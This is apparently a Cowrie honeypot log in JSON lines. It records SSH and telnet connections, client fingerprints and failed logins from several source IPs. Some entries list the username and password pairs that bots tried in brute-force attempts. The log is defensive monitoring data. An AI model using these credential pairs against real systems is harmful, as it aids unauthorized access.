{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:53.678568Z","src_ip":"157.230.18.133","session":"035b4b7f472c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acesso","password":"acesso123","message":"login attempt [acesso/acesso123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:54.040846Z","src_ip":"157.230.18.133","session":"035b4b7f472c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00151944160461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:54.470389Z","src_ip":"170.64.224.25","session":"8acd907bc9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53168,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9dd4855da5","protocol":"telnet","message":"New connection: 170.64.224.25:53168 (159.203.135.109:23) [session: 7a9dd4855da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:55.026240Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:55.125909Z","src_ip":"157.230.18.133","session":"035b4b7f472c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53180,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e05ce495d9","protocol":"telnet","message":"New connection: 170.64.224.25:53180 (159.203.135.109:23) [session: a4e05ce495d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:56.097475Z"}
{"eventid":"cowrie.session.closed","duration":69.51793694496155,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:02.967322Z","src_ip":"170.64.224.25","session":"e8a429f7a019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":59532,"dst_ip":"10.17.0.5","dst_port":22,"session":"6177f0e0e5b3","protocol":"ssh","message":"New connection: 101.32.145.199:59532 (10.17.0.5:22) [session: 6177f0e0e5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:05.833997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:05.838504Z","src_ip":"101.32.145.199","session":"6177f0e0e5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:06.073331Z","src_ip":"101.32.145.199","session":"6177f0e0e5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Qwer","message":"login attempt [root/12345Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:07.014994Z","src_ip":"101.32.145.199","session":"6177f0e0e5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:08.261120Z","src_ip":"101.32.145.199","session":"6177f0e0e5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.03131866455078,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:08.378177Z","src_ip":"170.64.224.25","session":"8e96b89a8d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":33492,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df79e2bbb3e","protocol":"ssh","message":"New connection: 175.118.127.138:33492 (159.203.135.109:22) [session: 3df79e2bbb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:09.731741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:09.734535Z","src_ip":"175.118.127.138","session":"3df79e2bbb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:09.914922Z","src_ip":"175.118.127.138","session":"3df79e2bbb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user@123","message":"login attempt [ec2-user/ec2-user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:10.671090Z","src_ip":"175.118.127.138","session":"3df79e2bbb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:11.854784Z","src_ip":"175.118.127.138","session":"3df79e2bbb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":55762,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58e8850477b","protocol":"ssh","message":"New connection: 162.144.249.8:55762 (10.17.0.5:22) [session: e58e8850477b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:12.670564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:12.675192Z","src_ip":"162.144.249.8","session":"e58e8850477b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:12.704259Z","src_ip":"162.144.249.8","session":"e58e8850477b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hal123","message":"login attempt [root/hal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:12.794690Z","src_ip":"162.144.249.8","session":"e58e8850477b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:13.825489Z","src_ip":"162.144.249.8","session":"e58e8850477b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":33576,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ac919a39f9","protocol":"ssh","message":"New connection: 195.86.192.66:33576 (10.17.0.5:22) [session: 43ac919a39f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:16.383776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:16.387903Z","src_ip":"195.86.192.66","session":"43ac919a39f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:16.614237Z","src_ip":"195.86.192.66","session":"43ac919a39f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server","message":"login attempt [root/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:17.535275Z","src_ip":"195.86.192.66","session":"43ac919a39f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":50404,"dst_ip":"10.17.0.5","dst_port":22,"session":"f446deeb0289","protocol":"ssh","message":"New connection: 97.74.6.204:50404 (10.17.0.5:22) [session: f446deeb0289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:17.680631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:17.689413Z","src_ip":"97.74.6.204","session":"f446deeb0289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:17.754382Z","src_ip":"97.74.6.204","session":"f446deeb0289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vechain","password":"vechain123","message":"login attempt [vechain/vechain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:17.951600Z","src_ip":"97.74.6.204","session":"f446deeb0289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:18.760362Z","src_ip":"195.86.192.66","session":"43ac919a39f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:19.019855Z","src_ip":"97.74.6.204","session":"f446deeb0289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":44430,"dst_ip":"10.17.0.5","dst_port":22,"session":"acdf3e91bd9b","protocol":"ssh","message":"New connection: 23.88.42.180:44430 (10.17.0.5:22) [session: acdf3e91bd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:20.428142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:20.431956Z","src_ip":"23.88.42.180","session":"acdf3e91bd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a70b17a9d4d5","protocol":"telnet","message":"New connection: 170.64.224.25:44830 (159.203.135.109:23) [session: a70b17a9d4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:20.470328Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:20.528308Z","src_ip":"23.88.42.180","session":"acdf3e91bd9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@nt@#S3cur3!","message":"login attempt [root/M@nt@#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:20.821140Z","src_ip":"23.88.42.180","session":"acdf3e91bd9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:21.920266Z","src_ip":"23.88.42.180","session":"acdf3e91bd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44842,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bcf45c18976","protocol":"telnet","message":"New connection: 170.64.224.25:44842 (159.203.135.109:23) [session: 3bcf45c18976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:27.046502Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d089b7c717f","protocol":"telnet","message":"New connection: 170.64.224.25:58986 (159.203.135.109:23) [session: 1d089b7c717f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:34.075567Z"}
{"eventid":"cowrie.session.closed","duration":39.944103479385376,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:34.970215Z","src_ip":"170.64.224.25","session":"7a9dd4855da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":46814,"dst_ip":"10.17.0.5","dst_port":22,"session":"109aea7540f9","protocol":"ssh","message":"New connection: 222.108.100.117:46814 (10.17.0.5:22) [session: 109aea7540f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:37.608706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:37.612794Z","src_ip":"222.108.100.117","session":"109aea7540f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:37.815008Z","src_ip":"222.108.100.117","session":"109aea7540f9","protocol":"ssh"}
